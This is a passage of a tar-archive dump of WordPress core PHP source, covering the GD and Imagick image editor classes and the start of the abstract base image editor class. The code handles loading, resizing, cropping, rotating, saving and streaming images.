$mime_type = null ) { $saved = $this->_save( $this->image, $filename, $mime_type ); if ( ! is_wp_error( $saved ) ) { $this->file = $saved['path']; $this->mime_type = $saved['mime-type']; } return $saved; } /** * @param resource|GdImage $image * @param string|null $filename * @param string|null $mime_type * @return array|WP_Error */ protected function _save( $image, $filename = null, $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type ); if ( ! $filename ) { $filename = $this->generate_filename( null, null, $extension ); } if ( 'image/gif' === $mime_type ) { if ( ! $this->make_image( $filename, 'imagegif', array( $image, $filename ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/png' === $mime_type ) { // Convert from full colors to index colors, like original PNG. if ( function_exists( 'imageistruecolor' ) && ! imageistruecolor( $image ) ) { imagetruecolortopalette( $image, false, imagecolorstotal( $image ) ); } if ( ! $this->make_image( $filename, 'imagepng', array( $image, $filename ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/jpeg' === $mime_type ) { if ( ! $this->make_image( $filename, 'imagejpeg', array( $image, $filename, $this->get_quality() ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } else { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } // Set correct file permissions. $stat = stat( dirname( $filename ) ); $perms = $stat['mode'] & 0000666; // Same permissions as parent folder, strip off the executable bits. chmod( $filename, $perms ); return array( 'path' => $filename, /** * Filters the name of the saved image file. * * @since 2.6.0 * * @param string $filename Name of the file. */ 'file' => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ), 'width' => $this->size['width'], 'height' => $this->size['height'], 'mime-type' => $mime_type, ); } /** * Returns stream of current image. * * @since 3.5.0 * * @param string $mime_type The mime type of the image. * @return bool True on success, false on failure. */ public function stream( $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type ); switch ( $mime_type ) { case 'image/png': header( 'Content-Type: image/png' ); return imagepng( $this->image ); case 'image/gif': header( 'Content-Type: image/gif' ); return imagegif( $this->image ); default: header( 'Content-Type: image/jpeg' ); return imagejpeg( $this->image, null, $this->get_quality() ); } } /** * Either calls editor's save function or handles file as a stream. * * @since 3.5.0 * * @param string|stream $filename * @param callable $function * @param array $arguments * @return bool */ protected function make_image( $filename, $function, $arguments ) { if ( wp_is_stream( $filename ) ) { $arguments[1] = null; } return parent::make_image( $filename, $function, $arguments ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-image-editor-imagick.php�������������������������������������������������������������������0000644�����������������00000063561�15120262030�0012756 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Imagick Image Editor * * @package WordPress * @subpackage Image_Editor */ /** * WordPress Image Editor Class for Image Manipulation through Imagick PHP Module * * @since 3.5.0 * * @see WP_Image_Editor */ class WP_Image_Editor_Imagick extends WP_Image_Editor { /** * Imagick object. * * @var Imagick */ protected $image; public function __destruct() { if ( $this->image instanceof Imagick ) { // We don't need the original in memory anymore. $this->image->clear(); $this->image->destroy(); } } /** * Checks to see if current environment supports Imagick. * * We require Imagick 2.2.0 or greater, based on whether the queryFormats() * method can be called statically. * * @since 3.5.0 * * @param array $args * @return bool */ public static function test( $args = array() ) { // First, test Imagick's extension and classes. if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick', false ) || ! class_exists( 'ImagickPixel', false ) ) { return false; } if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) ) { return false; } $required_methods = array( 'clear', 'destroy', 'valid', 'getimage', 'writeimage', 'getimageblob', 'getimagegeometry', 'getimageformat', 'setimageformat', 'setimagecompression', 'setimagecompressionquality', 'setimagepage', 'setoption', 'scaleimage', 'cropimage', 'rotateimage', 'flipimage', 'flopimage', 'readimage', 'readimageblob', ); // Now, test for deep requirements within Imagick. if ( ! defined( 'imagick::COMPRESSION_JPEG' ) ) { return false; } $class_methods = array_map( 'strtolower', get_class_methods( 'Imagick' ) ); if ( array_diff( $required_methods, $class_methods ) ) { return false; } return true; } /** * Checks to see if editor supports the mime-type specified. * * @since 3.5.0 * * @param string $mime_type * @return bool */ public static function supports_mime_type( $mime_type ) { $imagick_extension = strtoupper( self::get_extension( $mime_type ) ); if ( ! $imagick_extension ) { return false; } // setIteratorIndex is optional unless mime is an animated format. // Here, we just say no if you are missing it and aren't loading a jpeg. if ( ! method_exists( 'Imagick', 'setIteratorIndex' ) && 'image/jpeg' !== $mime_type ) { return false; } try { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged return ( (bool) @Imagick::queryFormats( $imagick_extension ) ); } catch ( Exception $e ) { return false; } } /** * Loads image from $this->file into new Imagick Object. * * @since 3.5.0 * * @return true|WP_Error True if loaded; WP_Error on failure. */ public function load() { if ( $this->image instanceof Imagick ) { return true; } if ( ! is_file( $this->file ) && ! wp_is_stream( $this->file ) ) { return new WP_Error( 'error_loading_image', __( 'File doesn’t exist?' ), $this->file ); } /* * Even though Imagick uses less PHP memory than GD, set higher limit * for users that have low PHP.ini limits. */ wp_raise_memory_limit( 'image' ); try { $this->image = new Imagick(); $file_extension = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) ); if ( 'pdf' === $file_extension ) { $pdf_loaded = $this->pdf_load_source(); if ( is_wp_error( $pdf_loaded ) ) { return $pdf_loaded; } } else { if ( wp_is_stream( $this->file ) ) { // Due to reports of issues with streams with `Imagick::readImageFile()`, uses `Imagick::readImageBlob()` instead. $this->image->readImageBlob( file_get_contents( $this->file ), $this->file ); } else { $this->image->readImage( $this->file ); } } if ( ! $this->image->valid() ) { return new WP_Error( 'invalid_image', __( 'File is not an image.' ), $this->file ); } // Select the first frame to handle animated images properly. if ( is_callable( array( $this->image, 'setIteratorIndex' ) ) ) { $this->image->setIteratorIndex( 0 ); } $this->mime_type = $this->get_mime_type( $this->image->getImageFormat() ); } catch ( Exception $e ) { return new WP_Error( 'invalid_image', $e->getMessage(), $this->file ); } $updated_size = $this->update_size(); if ( is_wp_error( $updated_size ) ) { return $updated_size; } return $this->set_quality(); } /** * Sets Image Compression quality on a 1-100% scale. * * @since 3.5.0 * * @param int $quality Compression Quality. Range: [1,100] * @return true|WP_Error True if set successfully; WP_Error on failure. */ public function set_quality( $quality = null ) { $quality_result = parent::set_quality( $quality ); if ( is_wp_error( $quality_result ) ) { return $quality_result; } else { $quality = $this->get_quality(); } try { if ( 'image/jpeg' === $this->mime_type ) { $this->image->setImageCompressionQuality( $quality ); $this->image->setImageCompression( imagick::COMPRESSION_JPEG ); } else { $this->image->setImageCompressionQuality( $quality ); } } catch ( Exception $e ) { return new WP_Error( 'image_quality_error', $e->getMessage() ); } return true; } /** * Sets or updates current image size. * * @since 3.5.0 * * @param int $width * @param int $height * @return true|WP_Error */ protected function update_size( $width = null, $height = null ) { $size = null; if ( ! $width || ! $height ) { try { $size = $this->image->getImageGeometry(); } catch ( Exception $e ) { return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file ); } } if ( ! $width ) { $width = $size['width']; } if ( ! $height ) { $height = $size['height']; } return parent::update_size( $width, $height ); } /** * Resizes current image. * * At minimum, either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the provided dimension. * * @since 3.5.0 * * @param int|null $max_w Image width. * @param int|null $max_h Image height. * @param bool $crop * @return true|WP_Error */ public function resize( $max_w, $max_h, $crop = false ) { if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) { return true; } $dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop ); if ( ! $dims ) { return new WP_Error( 'error_getting_dimensions', __( 'Could not calculate resized image dimensions' ) ); } list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims; if ( $crop ) { return $this->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h ); } // Execute the resize. $thumb_result = $this->thumbnail_image( $dst_w, $dst_h ); if ( is_wp_error( $thumb_result ) ) { return $thumb_result; } return $this->update_size( $dst_w, $dst_h ); } /** * Efficiently resize the current image * * This is a WordPress specific implementation of Imagick::thumbnailImage(), * which resizes an image to given dimensions and removes any associated profiles. * * @since 4.5.0 * * @param int $dst_w The destination width. * @param int $dst_h The destination height. * @param string $filter_name Optional. The Imagick filter to use when resizing. Default 'FILTER_TRIANGLE'. * @param bool $strip_meta Optional. Strip all profiles, excluding color profiles, from the image. Default true. * @return void|WP_Error */ protected function thumbnail_image( $dst_w, $dst_h, $filter_name = 'FILTER_TRIANGLE', $strip_meta = true ) { $allowed_filters = array( 'FILTER_POINT', 'FILTER_BOX', 'FILTER_TRIANGLE', 'FILTER_HERMITE', 'FILTER_HANNING', 'FILTER_HAMMING', 'FILTER_BLACKMAN', 'FILTER_GAUSSIAN', 'FILTER_QUADRATIC', 'FILTER_CUBIC', 'FILTER_CATROM', 'FILTER_MITCHELL', 'FILTER_LANCZOS', 'FILTER_BESSEL', 'FILTER_SINC', ); /** * Set the filter value if '$filter_name' name is in the allowed list and the related * Imagick constant is defined or fall back to the default filter. */ if ( in_array( $filter_name, $allowed_filters, true ) && defined( 'Imagick::' . $filter_name ) ) { $filter = constant( 'Imagick::' . $filter_name ); } else { $filter = defined( 'Imagick::FILTER_TRIANGLE' ) ? Imagick::FILTER_TRIANGLE : false; } /** * Filters whether to strip metadata from images when they're resized. * * This filter only applies when resizing using the Imagick editor since GD * always strips profiles by default. * * @since 4.5.0 * * @param bool $strip_meta Whether to strip image metadata during resizing. Default true. */ if ( apply_filters( 'image_strip_meta', $strip_meta ) ) { $this->strip_meta(); // Fail silently if not supported. } try { /* * To be more efficient, resample large images to 5x the destination size before resizing * whenever the output size is less that 1/3 of the original image size (1/3^2 ~= .111), * unless we would be resampling to a scale smaller than 128x128. */ if ( is_callable( array( $this->image, 'sampleImage' ) ) ) { $resize_ratio = ( $dst_w / $this->size['width'] ) * ( $dst_h / $this->size['height'] ); $sample_factor = 5; if ( $resize_ratio < .111 && ( $dst_w * $sample_factor > 128 && $dst_h * $sample_factor > 128 ) ) { $this->image->sampleImage( $dst_w * $sample_factor, $dst_h * $sample_factor ); } } /* * Use resizeImage() when it's available and a valid filter value is set. * Otherwise, fall back to the scaleImage() method for resizing, which * results in better image quality over resizeImage() with default filter * settings and retains backward compatibility with pre 4.5 functionality. */ if ( is_callable( array( $this->image, 'resizeImage' ) ) && $filter ) { $this->image->setOption( 'filter:support', '2.0' ); $this->image->resizeImage( $dst_w, $dst_h, $filter, 1 ); } else { $this->image->scaleImage( $dst_w, $dst_h ); } // Set appropriate quality settings after resizing. if ( 'image/jpeg' === $this->mime_type ) { if ( is_callable( array( $this->image, 'unsharpMaskImage' ) ) ) { $this->image->unsharpMaskImage( 0.25, 0.25, 8, 0.065 ); } $this->image->setOption( 'jpeg:fancy-upsampling', 'off' ); } if ( 'image/png' === $this->mime_type ) { $this->image->setOption( 'png:compression-filter', '5' ); $this->image->setOption( 'png:compression-level', '9' ); $this->image->setOption( 'png:compression-strategy', '1' ); $this->image->setOption( 'png:exclude-chunk', 'all' ); } /* * If alpha channel is not defined, set it opaque. * * Note that Imagick::getImageAlphaChannel() is only available if Imagick * has been compiled against ImageMagick version 6.4.0 or newer. */ if ( is_callable( array( $this->image, 'getImageAlphaChannel' ) ) && is_callable( array( $this->image, 'setImageAlphaChannel' ) ) && defined( 'Imagick::ALPHACHANNEL_UNDEFINED' ) && defined( 'Imagick::ALPHACHANNEL_OPAQUE' ) ) { if ( $this->image->getImageAlphaChannel() === Imagick::ALPHACHANNEL_UNDEFINED ) { $this->image->setImageAlphaChannel( Imagick::ALPHACHANNEL_OPAQUE ); } } // Limit the bit depth of resized images to 8 bits per channel. if ( is_callable( array( $this->image, 'getImageDepth' ) ) && is_callable( array( $this->image, 'setImageDepth' ) ) ) { if ( 8 < $this->image->getImageDepth() ) { $this->image->setImageDepth( 8 ); } } if ( is_callable( array( $this->image, 'setInterlaceScheme' ) ) && defined( 'Imagick::INTERLACE_NO' ) ) { $this->image->setInterlaceScheme( Imagick::INTERLACE_NO ); } } catch ( Exception $e ) { return new WP_Error( 'image_resize_error', $e->getMessage() ); } } /** * Create multiple smaller images from a single source. * * Attempts to create all sub-sizes and returns the meta data at the end. This * may result in the server running out of resources. When it fails there may be few * "orphaned" images left over as the meta data is never returned and saved. * * As of 5.3.0 the preferred way to do this is with `make_subsize()`. It creates * the new images one at a time and allows for the meta data to be saved after * each new image is created. * * @since 3.5.0 * * @param array $sizes { * An array of image size data arrays. * * Either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the provided dimension. * * @type array $size { * Array of height, width values, and whether to crop. * * @type int $width Image width. Optional if `$height` is specified. * @type int $height Image height. Optional if `$width` is specified. * @type bool $crop Optional. Whether to crop the image. Default false. * } * } * @return array An array of resized images' metadata by size. */ public function multi_resize( $sizes ) { $metadata = array(); foreach ( $sizes as $size => $size_data ) { $meta = $this->make_subsize( $size_data ); if ( ! is_wp_error( $meta ) ) { $metadata[ $size ] = $meta; } } return $metadata; } /** * Create an image sub-size and return the image meta data value for it. * * @since 5.3.0 * * @param array $size_data { * Array of size data. * * @type int $width The maximum width in pixels. * @type int $height The maximum height in pixels. * @type bool $crop Whether to crop the image to exact dimensions. * } * @return array|WP_Error The image data array for inclusion in the `sizes` array in the image meta, * WP_Error object on error. */ public function make_subsize( $size_data ) { if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) { return new WP_Error( 'image_subsize_create_error', __( 'Cannot resize the image. Both width and height are not set.' ) ); } $orig_size = $this->size; $orig_image = $this->image->getImage(); if ( ! isset( $size_data['width'] ) ) { $size_data['width'] = null; } if ( ! isset( $size_data['height'] ) ) { $size_data['height'] = null; } if ( ! isset( $size_data['crop'] ) ) { $size_data['crop'] = false; } $resized = $this->resize( $size_data['width'], $size_data['height'], $size_data['crop'] ); if ( is_wp_error( $resized ) ) { $saved = $resized; } else { $saved = $this->_save( $this->image ); $this->image->clear(); $this->image->destroy(); $this->image = null; } $this->size = $orig_size; $this->image = $orig_image; if ( ! is_wp_error( $saved ) ) { unset( $saved['path'] ); } return $saved; } /** * Crops Image. * * @since 3.5.0 * * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param bool $src_abs Optional. If the source crop points are absolute. * @return true|WP_Error */ public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) { if ( $src_abs ) { $src_w -= $src_x; $src_h -= $src_y; } try { $this->image->cropImage( $src_w, $src_h, $src_x, $src_y ); $this->image->setImagePage( $src_w, $src_h, 0, 0 ); if ( $dst_w || $dst_h ) { // If destination width/height isn't specified, // use same as width/height from source. if ( ! $dst_w ) { $dst_w = $src_w; } if ( ! $dst_h ) { $dst_h = $src_h; } $thumb_result = $this->thumbnail_image( $dst_w, $dst_h ); if ( is_wp_error( $thumb_result ) ) { return $thumb_result; } return $this->update_size(); } } catch ( Exception $e ) { return new WP_Error( 'image_crop_error', $e->getMessage() ); } return $this->update_size(); } /** * Rotates current image counter-clockwise by $angle. * * @since 3.5.0 * * @param float $angle * @return true|WP_Error */ public function rotate( $angle ) { /** * $angle is 360-$angle because Imagick rotates clockwise * (GD rotates counter-clockwise) */ try { $this->image->rotateImage( new ImagickPixel( 'none' ), 360 - $angle ); // Normalise EXIF orientation data so that display is consistent across devices. if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) { $this->image->setImageOrientation( Imagick::ORIENTATION_TOPLEFT ); } // Since this changes the dimensions of the image, update the size. $result = $this->update_size(); if ( is_wp_error( $result ) ) { return $result; } $this->image->setImagePage( $this->size['width'], $this->size['height'], 0, 0 ); } catch ( Exception $e ) { return new WP_Error( 'image_rotate_error', $e->getMessage() ); } return true; } /** * Flips current image. * * @since 3.5.0 * * @param bool $horz Flip along Horizontal Axis * @param bool $vert Flip along Vertical Axis * @return true|WP_Error */ public function flip( $horz, $vert ) { try { if ( $horz ) { $this->image->flipImage(); } if ( $vert ) { $this->image->flopImage(); } // Normalise EXIF orientation data so that display is consistent across devices. if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) { $this->image->setImageOrientation( Imagick::ORIENTATION_TOPLEFT ); } } catch ( Exception $e ) { return new WP_Error( 'image_flip_error', $e->getMessage() ); } return true; } /** * Check if a JPEG image has EXIF Orientation tag and rotate it if needed. * * As ImageMagick copies the EXIF data to the flipped/rotated image, proceed only * if EXIF Orientation can be reset afterwards. * * @since 5.3.0 * * @return bool|WP_Error True if the image was rotated. False if no EXIF data or if the image doesn't need rotation. * WP_Error if error while rotating. */ public function maybe_exif_rotate() { if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) { return parent::maybe_exif_rotate(); } else { return new WP_Error( 'write_exif_error', __( 'The image cannot be rotated because the embedded meta data cannot be updated.' ) ); } } /** * Saves current image to file. * * @since 3.5.0 * * @param string $destfilename * @param string $mime_type * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string} */ public function save( $destfilename = null, $mime_type = null ) { $saved = $this->_save( $this->image, $destfilename, $mime_type ); if ( ! is_wp_error( $saved ) ) { $this->file = $saved['path']; $this->mime_type = $saved['mime-type']; try { $this->image->setImageFormat( strtoupper( $this->get_extension( $this->mime_type ) ) ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $this->file ); } } return $saved; } /** * @param Imagick $image * @param string $filename * @param string $mime_type * @return array|WP_Error */ protected function _save( $image, $filename = null, $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type ); if ( ! $filename ) { $filename = $this->generate_filename( null, null, $extension ); } try { // Store initial format. $orig_format = $this->image->getImageFormat(); $this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $filename ); } $write_image_result = $this->write_image( $this->image, $filename ); if ( is_wp_error( $write_image_result ) ) { return $write_image_result; } try { // Reset original format. $this->image->setImageFormat( $orig_format ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $filename ); } // Set correct file permissions. $stat = stat( dirname( $filename ) ); $perms = $stat['mode'] & 0000666; // Same permissions as parent folder, strip off the executable bits. chmod( $filename, $perms ); return array( 'path' => $filename, /** This filter is documented in wp-includes/class-wp-image-editor-gd.php */ 'file' => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ), 'width' => $this->size['width'], 'height' => $this->size['height'], 'mime-type' => $mime_type, ); } /** * Writes an image to a file or stream. * * @since 5.6.0 * * @param Imagick $image * @param string $filename The destination filename or stream URL. * @return true|WP_Error */ private function write_image( $image, $filename ) { if ( wp_is_stream( $filename ) ) { /* * Due to reports of issues with streams with `Imagick::writeImageFile()` and `Imagick::writeImage()`, copies the blob instead. * Checks for exact type due to: https://www.php.net/manual/en/function.file-put-contents.php */ if ( file_put_contents( $filename, $image->getImageBlob() ) === false ) { return new WP_Error( 'image_save_error', sprintf( /* translators: %s: PHP function name. */ __( '%s failed while writing image to stream.' ), '<code>file_put_contents()</code>' ), $filename ); } else { return true; } } else { $dirname = dirname( $filename ); if ( ! wp_mkdir_p( $dirname ) ) { return new WP_Error( 'image_save_error', sprintf( /* translators: %s: Directory path. */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), esc_html( $dirname ) ) ); } try { return $image->writeImage( $filename ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $filename ); } } } /** * Streams current image to browser. * * @since 3.5.0 * * @param string $mime_type The mime type of the image. * @return true|WP_Error True on success, WP_Error object on failure. */ public function stream( $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type ); try { // Temporarily change format for stream. $this->image->setImageFormat( strtoupper( $extension ) ); // Output stream of image content. header( "Content-Type: $mime_type" ); print $this->image->getImageBlob(); // Reset image to original format. $this->image->setImageFormat( $this->get_extension( $this->mime_type ) ); } catch ( Exception $e ) { return new WP_Error( 'image_stream_error', $e->getMessage() ); } return true; } /** * Strips all image meta except color profiles from an image. * * @since 4.5.0 * * @return true|WP_Error True if stripping metadata was successful. WP_Error object on error. */ protected function strip_meta() { if ( ! is_callable( array( $this->image, 'getImageProfiles' ) ) ) { return new WP_Error( 'image_strip_meta_error', sprintf( /* translators: %s: ImageMagick method name. */ __( '%s is required to strip image meta.' ), '<code>Imagick::getImageProfiles()</code>' ) ); } if ( ! is_callable( array( $this->image, 'removeImageProfile' ) ) ) { return new WP_Error( 'image_strip_meta_error', sprintf( /* translators: %s: ImageMagick method name. */ __( '%s is required to strip image meta.' ), '<code>Imagick::removeImageProfile()</code>' ) ); } /* * Protect a few profiles from being stripped for the following reasons: * * - icc: Color profile information * - icm: Color profile information * - iptc: Copyright data * - exif: Orientation data * - xmp: Rights usage data */ $protected_profiles = array( 'icc', 'icm', 'iptc', 'exif', 'xmp', ); try { // Strip profiles. foreach ( $this->image->getImageProfiles( '*', true ) as $key => $value ) { if ( ! in_array( $key, $protected_profiles, true ) ) { $this->image->removeImageProfile( $key ); } } } catch ( Exception $e ) { return new WP_Error( 'image_strip_meta_error', $e->getMessage() ); } return true; } /** * Sets up Imagick for PDF processing. * Increases rendering DPI and only loads first page. * * @since 4.7.0 * * @return string|WP_Error File to load or WP_Error on failure. */ protected function pdf_setup() { try { // By default, PDFs are rendered in a very low resolution. // We want the thumbnail to be readable, so increase the rendering DPI. $this->image->setResolution( 128, 128 ); // Only load the first page. return $this->file . '[0]'; } catch ( Exception $e ) { return new WP_Error( 'pdf_setup_failed', $e->getMessage(), $this->file ); } } /** * Load the image produced by Ghostscript. * * Includes a workaround for a bug in Ghostscript 8.70 that prevents processing of some PDF files * when `use-cropbox` is set. * * @since 5.6.0 * * @return true|WP_error */ protected function pdf_load_source() { $filename = $this->pdf_setup(); if ( is_wp_error( $filename ) ) { return $filename; } try { // When generating thumbnails from cropped PDF pages, Imagemagick uses the uncropped // area (resulting in unnecessary whitespace) unless the following option is set. $this->image->setOption( 'pdf:use-cropbox', true ); // Reading image after Imagick instantiation because `setResolution` // only applies correctly before the image is read. $this->image->readImage( $filename ); } catch ( Exception $e ) { // Attempt to run `gs` without the `use-cropbox` option. See #48853. $this->image->setOption( 'pdf:use-cropbox', false ); $this->image->readImage( $filename ); } return true; } } �����������������������������������������������������������������������������������������������������������������������������������������������class-wp-image-editor.php���������������������������������������������������������������������������0000644�����������������00000033536�15120262030�0011353 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Base WordPress Image Editor * * @package WordPress * @subpackage Image_Editor */ /** * Base image editor class from which implementations extend * * @since 3.5.0 */ abstract class WP_Image_Editor { protected $file = null; protected $size = null; protected $mime_type = null; protected $default_mime_type = 'image/jpeg'; protected $quality = false; protected $default_quality = 82; /** * Each instance handles a single file. * * @param string $file Path to the file to load. */ public function __construct( $file ) { $this->file = $file; } /** * Checks to see if current environment supports the editor chosen. * Must be overridden in a subclass. * * @since 3.5.0 * * @abstract * * @param array $args * @return bool */ public static function test( $args = array() ) { return false; } /** * Checks to see if editor supports the mime-type specified. * Must be overridden in a subclass. * * @since 3.5.0 * * @abstract * * @param string $mime_type * @return bool */ public static function supports_mime_type( $mime_type ) { return false; } /** * Loads image from $this->file into editor. * * @since 3.5.0 * @abstract * * @return true|WP_Error True if loaded; WP_Error on failure. */ abstract public function load(); /** * Saves current image to file. * * @since 3.5.0 * @abstract * * @param string $destfilename * @param string $mime_type * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string} */ abstract public function save( $destfilename = null, $mime_type = null ); /** * Resizes current image. * * At minimum, either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the provided dimension. * * @since 3.5.0 * @abstract * * @param int|null $max_w Image width. * @param int|null $max_h Image height. * @param bool $crop * @return true|WP_Error */ abstract public function resize( $max_w, $max_h, $crop = false ); /** * Resize multiple images from a single source. * * @since 3.5.0 * @abstract * * @param array $sizes { * An array of image size arrays. Default sizes are 'small', 'medium', 'large'. * * @type array $size { * @type int $width Image width. * @type int $height Image height. * @type bool $crop Optional. Whether to crop the image. Default false. * } * } * @return array An array of resized images metadata by size. */ abstract public function multi_resize( $sizes ); /** * Crops Image. * * @since 3.5.0 * @abstract * * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param bool $src_abs Optional. If the source crop points are absolute. * @return true|WP_Error */ abstract public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ); /** * Rotates current image counter-clockwise by $angle. * * @since 3.5.0 * @abstract * * @param float $angle * @return true|WP_Error */ abstract public function rotate( $angle ); /** * Flips current image. * * @since 3.5.0 * @abstract * * @param bool $horz Flip along Horizontal Axis * @param bool $vert Flip along Vertical Axis * @return true|WP_Error */ abstract public function flip( $horz, $vert ); /** * Streams current image to browser. * * @since 3.5.0 * @abstract * * @param string $mime_type The mime type of the image. * @return true|WP_Error True on success, WP_Error object on failure. */ abstract public function stream( $mime_type = null ); /** * Gets dimensions of image. * * @since 3.5.0 * * @return array { * Dimensions of the image. * * @type int $width The image width. * @type int $height The image height. * } */ public function get_size() { return $this->size; } /** * Sets current image size. * * @since 3.5.0 * * @param int $width * @param int $height * @return true */ protected function update_size( $width = null, $height = null ) { $this->size = array( 'width' => (int) $width, 'height' => (int) $height, ); return true; } /** * Gets the Image Compression quality on a 1-100% scale. * * @since 4.0.0 * * @return int Compression Quality. Range: [1,100] */ public function get_quality() { if ( ! $this->quality ) { $this->set_quality(); } return $this->quality; } /** * Sets Image Compression quality on a 1-100% scale. * * @since 3.5.0 * * @param int $quality Compression Quality. Range: [1,100] * @return true|WP_Error True if set successfully; WP_Error on failure. */ public function set_quality( $quality = null ) { if ( null === $quality ) { /** * Filters the default image compression quality setting. * * Applies only during initial editor instantiation, or when set_quality() is run * manually without the `$quality` argument. * * The WP_Image_Editor::set_quality() method has priority over the filter. * * @since 3.5.0 * * @param int $quality Quality level between 1 (low) and 100 (high). * @param string $mime_type Image mime type. */ $quality = apply_filters( 'wp_editor_set_quality', $this->default_quality, $this->mime_type ); if ( 'image/jpeg' === $this->mime_type ) { /** * Filters the JPEG compression quality for backward-compatibility. * * Applies only during initial editor instantiation, or when set_quality() is run * manually without the `$quality` argument. * * The WP_Image_Editor::set_quality() method has priority over the filter. * * The filter is evaluated under two contexts: 'image_resize', and 'edit_image', * (when a JPEG image is saved to file). * * @since 2.5.0 * * @param int $quality Quality level between 0 (low) and 100 (high) of the JPEG. * @param string $context Context of the filter. */ $quality = apply_filters( 'jpeg_quality', $quality, 'image_resize' ); } if ( $quality < 0 || $quality > 100 ) { $quality = $this->default_quality; } } // Allow 0, but squash to 1 due to identical images in GD, and for backward compatibility. if ( 0 === $quality ) { $quality = 1; } if ( ( $quality >= 1 ) && ( $quality <= 100 ) ) { $this->quality = $quality; return true; } else { return new WP_Error( 'invalid_image_quality', __( 'Attempted to set image quality outside of the range [1,100].' ) ); } } /** * Returns preferred mime-type and extension based on provided * file's extension and mime, or current file's extension and mime. * * Will default to $this->default_mime_type if requested is not supported. * * Provides corrected filename only if filename is provided. * * @since 3.5.0 * * @param string $filename * @param string $mime_type * @return array { filename|null, extension, mime-type } */ protected function get_output_format( $filename = null, $mime_type = null ) { $new_ext = null; // By default, assume specified type takes priority. if ( $mime_type ) { $new_ext = $this->get_extension( $mime_type ); } if ( $filename ) { $file_ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) ); $file_mime = $this->get_mime_type( $file_ext ); } else { // If no file specified, grab editor's current extension and mime-type. $file_ext = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) ); $file_mime = $this->mime_type; } // Check to see if specified mime-type is the same as type implied by // file extension. If so, prefer extension from file. if ( ! $mime_type || ( $file_mime == $mime_type ) ) { $mime_type = $file_mime; $new_ext = $file_ext; } // Double-check that the mime-type selected is supported by the editor. // If not, choose a default instead. if ( ! $this->supports_mime_type( $mime_type ) ) { /** * Filters default mime type prior to getting the file extension. * * @see wp_get_mime_types() * * @since 3.5.0 * * @param string $mime_type Mime type string. */ $mime_type = apply_filters( 'image_editor_default_mime_type', $this->default_mime_type ); $new_ext = $this->get_extension( $mime_type ); } if ( $filename ) { $dir = pathinfo( $filename, PATHINFO_DIRNAME ); $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $filename = trailingslashit( $dir ) . wp_basename( $filename, ".$ext" ) . ".{$new_ext}"; } return array( $filename, $new_ext, $mime_type ); } /** * Builds an output filename based on current file, and adding proper suffix * * @since 3.5.0 * * @param string $suffix * @param string $dest_path * @param string $extension * @return string filename */ public function generate_filename( $suffix = null, $dest_path = null, $extension = null ) { // $suffix will be appended to the destination filename, just before the extension. if ( ! $suffix ) { $suffix = $this->get_suffix(); } $dir = pathinfo( $this->file, PATHINFO_DIRNAME ); $ext = pathinfo( $this->file, PATHINFO_EXTENSION ); $name = wp_basename( $this->file, ".$ext" ); $new_ext = strtolower( $extension ? $extension : $ext ); if ( ! is_null( $dest_path ) 